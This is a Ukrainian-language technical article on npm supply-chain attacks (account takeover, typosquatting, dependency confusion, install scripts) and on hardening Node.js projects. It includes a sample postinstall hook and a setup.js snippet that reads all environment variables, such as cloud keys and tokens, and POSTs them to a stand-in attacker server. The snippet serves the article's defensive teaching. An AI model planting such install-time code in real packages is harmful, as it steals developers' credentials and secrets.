Атаки на ланцюг постачання Npm: як вони працюють та як захистити Node.js
Пояснює, як працюють атаки на ланцюг постачання npm, такі як захоплення облікових записів, тайпоскуаттінг та плутанина з залежностями, а також наводить конкретні кроки для зміцнення встановлень Node.js.
Коли ви виконуєте команду npm install express, ви завантажуєте значно більше, ніж просто бібліотеку маршрутизації. У цій єдиній команді приховано сотні вкладених пакетів, створених людьми, з якими ви ніколи не спілкувалися та, ймовірно, ніколи не будете.
Більшість інженерів уявляють менеджери пакетів як нейтральні інструменти: ви запитуєте засіб, він завантажується, і ви продовжуєте свою роботу. Але ця припущення більше не актуальні у світі JavaScript. Сьогодні зловмисники рідко намагаються проникнути через корпоративний брандмауер чи зробити зворотну інженерію процесу входу у систему. Набагато простіше вставити зловмисний код у залежність, на яку ваша команда вже покладається та якій довіряє безумовно.
npm install більше не є пасивною операцією завантаження та зберігання. Фактично це є виконанням довільного коду — на вашому ноутбуці, у вашому CI/CD-пайплайні та, зрештою, у вашій продакшн-інфраструктурі.
Що таке атака на ланцюг постачання в Node.js?
Класичні проблеми безпеки вебу стосуються таких дефектів, як SQL-ін’єкції чи крос-сайт скріптинг, які є помилками, вбудованими безпосередньо у створену вами програму.
Атака на ланцюг постачання програмного забезпечення функціонує інакше. Ваш власний код може бути бездоганним та відповідати усім рекомендаціям. Але якщо пакет від стороннього постачальника, від якого ви залежите, був підроблений, цей бездоганний код опиняється на пошкодженій основі, і весь система опиняється під загрозою.
Такий тип атаки націлений на механізми, які створюють та розповсюджують ваше програмне забезпечення, а не на саме програмне забезпечення. У світі Node.js ці механізми включають:
- Пакети з відкритим кодом, розміщені у реєстрі npm
- Транзитивні залежності — пакети, від яких залежать ваші прямі залежності
- Скрипти, які автоматично виконуються під час інсталяції
Якщо буде порушена безпека хоча б однієї ланки в цьому ланцюжку, кожен проект, що розташований нижче по ланцюжку, успадкує шкідливий код під час наступної установки.
Як зловмисники експлуатують npm: три реальні сценарії атак
Ці атаки не є випадковими. Вони ґрунтуються на передбачуваній, структурній поведінці екосистеми npm. Нижче наведені три сценарії атак, з якими ви найчастіше можете зіткнутися.
1. Відбір контролю над обліковими записами та компрометація адміністраторів
Багато широко використовуваних пакетів npm підтримуються безкоштовними волонтерами, які працюють у свій вільний час. Зловмисники добре усвідомлюють це, тому замість атак на вихідний код вони націлюються на особу, яка його публікує.
Типові методи включають:
- Credential stuffing: спроби використання витеклих комбінацій імен користувачів та паролів проти облікових записів npm, які не мають багатофакторної аутентифікації.
- Phishing: підробка особи команди з безпеки npm через електронну пошту з метою обману розробників та отримання від них облікових даних для входу.
- Trojan pull requests: поступове надсилання справді корисних, невеликих виправлень протягом тривалого часу для створення довіри та отримання прав на збереження змін, а потім вставка прихованого «заднього дверцята» після того, як довіра вже налагоджена.
Як тільки доступ до публікації забезпечується, зловмисник випускає патч, який виглядає звичайним — наприклад, від 2.1.4 до 2.1.5. Оскільки багато файлів package.json використовують діапазони версій у форматі ^2.1.4, автоматизовані процеси компіляції скрізь беруть цю заражену версію, не привертаючи уваги нікого.
2. Typosquatting та плутанина з брендом
Тайпосквоттінг скористовується простими людськими помилками. Зловмисник реєструє назву пакета, яка візуально чи текстово майже не відрізняється від назви відомої бібліотеки.
Кілька ілюстративних прикладів:
- Легітимний пакет:
cross-env - Зловмисний аналог:
crossenv - Легітимний пакет:
colors - Зловмисний аналог:
colour
Якщо ви введете неправильну назву під час команди npm i <package>, ви встановите версію зловмисника замість легітимної. Ці підроблені пакети часто майже точно копіюють справжній API, тому ваш набір тестів продовжує працювати нормально, поки відбувається прихована зловмисна діяльність.
3. Плутанина з залежностями
Компанії часто підтримують приватні внутрішні пакети — щось на кшталт @company/auth-client або company-auth.
Якщо внутрішній реєстр налаштований неправильно, клієнт npm може почати звертатися до публічного реєстру перед перевіркою приватного, коли йому потрібно знайти ім’я цього внутрішнього пакета. Зловмисники експлуатують це, скануючи публічні репозиторії та документацію у пошуках слідів цих приватних імен пакетів, а потім публікують пакети саме під цими іменами у публічному реєстрі npm, присвоюючи їм надзвичайно високий номер версії, наприклад 99.9.9.
Коли запускається процес збірки, npm порівнює версії, бачить, що версія публічного пакета вища, і встановлює код зловмисника замість вашого легітимного внутрішнього модуля.
Що відбувається на тлі: небезпека скриптів життєвого циклу
Чому сама установка пакету несе стільки ризиків? Чому зловмисний код може виконуватися ще до того, як ваше додаток викличе require() або import у цій бібліотеці?
Механізм, відповідальний за це, — скрипти життєвого циклу.
У файлі package.json npm підтримує команди оболонки, які автоматично виконуються на певних етапах установки. Найнебезпечнішими з цих хуків є preinstall, install та postinstall.
Нижче наведено, здавалося б, безневинний файл package.json, який належить пошкодженій залежності:
{
"name": "useful-string-helper",
"version": "1.0.1",
"scripts": {
"postinstall": "node ./setup.js"
}
}
У описі може йтися про те, що setup.js компілює нативний бінарник або готує локальні файли конфігурації. Насправді setup.js може містити щось ближче до цього:
// setup.js (Runs automatically during npm install)
const { exec } = require("child_process");
const https = require("https");
// Read environment variables (AWS keys, database passwords, tokens)
const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
const req = https.request({
hostname: "attacker-controlled-server.com",
port: 443,
path: "/collect",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": sensitiveData.length
}
});req.write(sensitiveData);
req.end();
Ось що насправді відбулося:
- Ви ввели
npm install useful-string-helper. - Npm негайно виконав команду
node ./setup.js. - Змінні середовища вашого локального комп’ютера — такі як
AWS_SECRET_ACCESS_KEY,DATABASE_URLчиNPM_TOKEN— були отримані безпосередньо з оперативної пам’яті системи. - Ці конфіденційні дані були передані через HTTPS на сервер, яким керує зловмисник.
Зверніть увагу, що для цього не потрібно було імпортувати пакет чи запускати ваше застосування. Сам факт виконання команди npm install, чи то на вашому власному комп’ютері, чи всередині інструменту CI, був достатнім, щоб повністю викрасти ваші конфіденційні дані.
Практичні заходи захисту: зміцнення робочого процесу Node.js
Працювати без сторонніх пакетів — це нереалістично. Уся екосистема сучасного розроблення побудована на компонентах з відкритим кодом. Однак ви можете контролювати те, наскільки обережно ви включаєте ці залежності у свій проект.
1. Вимкнути скрипти встановлення за замовчуванням
Якщо пакет справді не потребує виконання спеціального скрипта під час встановлення, вимкніть цю функцію:
npm install --ignore-scripts
Щоб застосувати це правило до всього проекту, а не вводити його щоразу, додайте файл .npmrc у кореневу директорію вашого репозиторію:
# .npmrc
ignore-scripts=true
Якщо пакет дійсно потребує нативної компіляції — наприклад, драйвер бази даних чи бібліотека обробки зображень — ви все одно можете вручну запустити крок його будови або вибірково дозволити певним пакетам працювати через системи плагінів, які пропонують менеджери пакетів, такі як pnpm чи yarn.
2. Строго захищайте свої залежності
Переконайтеся, що файл з інформацією про версії завжди входить до того, що ви додаєте до системи контролю версій, чи то package-lock.json, pnpm-lock.yaml чи yarn.lock, залежно від інструменту, який ви використовуєте.
Файл з інформацією про версії зберігає точну версію, URL для завантаження та хеш криптографічної цілісності (SHA-512) для кожного встановленого пакету. Коли такий хеш існує, npm може підтвердити, що код, який зараз завантажується, є байт у байт ідентичним тому, який був зафіксований під час першого створення файлу з інформацією про версії.
У процесах CI/CD завжди використовуйте:
npm ci
Уникайте виконання простого команди npm install під час розгортання. Команда npm ci суворо дотримується того, що записано в файлі package-lock.json, та спочатку стирає будь-яку наявну папку node_modules, що запобігає тихому підвищенню версій.
3. Захищайте конфіденційні дані вашого середовища
Намагайтеся не зберігати облікові дані для продакшну у відкритому форматі у файлах .env на вашому ноутбуці, якщо це можливо. Комп’ютери розробників є привабливими цілями саме тому, що в них зазвичай слабкіший моніторинг безпеки порівняно з хмарною інфраструктурою, при цьому вони все ще містять дійсні ключі до баз даних продакшну та хмарних облікових записів.
- Віддавайте перевагу тимчасовим обліковим даним, наприклад таким, які видаються через AWS IAM Identity Center або подібні системи тимчасових токенів.
.bashrc чи .zshrc.4. Використовуйте автоматизовані інструменти сканування
Жоден сканер не може виявити все, але автоматизовані інструменти швидко виявляють пакети, про які вже відомо, що вони зловмисні чи вразливі.
- Регулярно запускайте
npm audit, щоб виявити пакети з відомими CVE. - Додайте такий сервіс, як Socket.dev, Snyk чи власний Dependabot GitHub, як обов’язкову перевірку для кожного pull-request.
- Socket.dev, зокрема, аналізує те, що насправді робить пакет — з’єднання через мережу, запис у диск, виконання команд шеллу — ще до того, як він потрапить у ваш проєкт.
Компроміс: безпека проти швидкості розробника
Жоден з цих заходів посилення безпеки не є безкоштовним.
Увімкнення параметра ignore-scripts=true може пошкодити пакети, які залежать від нативних біндингів C++, такі як bcrypt чи sharp. У такому разі хтось із команди мусить приділити час на діагностику проблем під час збірки або вручну налаштувати крок компіляції.
Так само фіксація версій усіх залежностей означає, що виправлення багів не надходитимуть до вашого проекту автоматично. Вам потрібно виділяти регулярний час — щотижня або після кожного спринту — щоб свідомо тестувати та оновлювати залежності, замість того щоб дозволяти їм оновлюватися самостійно.
Для невеликого побічного проекту такий рівень дисципліни може здатися зайвим трудом. Але як тільки додаток починає працювати з даними клієнтів, інформацією про оплату чи інфраструктурою виробництва, саме цей труд стає головною перешкодою між вами та мовчазним компромісом.
Чек-лист для розробників Node.js
Перш ніж додавати нову залежність, пам’ятайте про ці принципи:
- Розглядайте
npm installяк виконання коду: кожен доданий пакет працює з тими самими правами, що й ваш особистий обліковий запис. - Сумнівайтеся щодо нових додавань: запитуйте себе, чи справді вам потрібен повний пакет для функції, яка може складатися лише з десяти рядків коду.
- Вимикайте скрипти, якщо це можливо: встановіть
ignore-scripts=trueу файлі.npmrc, щоб запобігти більшості атак після встановлення. - Завжди зберігайте файл lockfile: тримайте
package-lock.jsonу актуальному стані та вимагайте виконанняnpm ciпід час кожного запуску CI/CD. - Перевіряйте права доступу: обмежуйте те, до чого можуть отримати доступ ваш локальний шелл та інструменти CI.
Екосистема JavaScript надає розробникам величезну швидкість та гнучкість. Ретельне керування залежностями допомагає запобігти тому, щоб ця швидкість потайки підривала цілісність ваших систем.
Пов’язані статті
- Усунення помилок обробки помилок Async/Await у продакшн-коді Node.js — Дізнайтеся про п’ять поширених помилок у обробці помилок async/await у JavaScript та Node.js, які спричиняють беззвучні збої та ситуації конкуренції, а також про конкретні способи їх усунення.
- Посібник з налаштування React + Vite (2026): ваш перший функціональний додаток, пояснено — Детально розглянемо встановлення Node.js, npm, VS Code та Vite для створення додатку на React, вивчаючи при цьому, що саме робить кожен інструмент на рівні коду.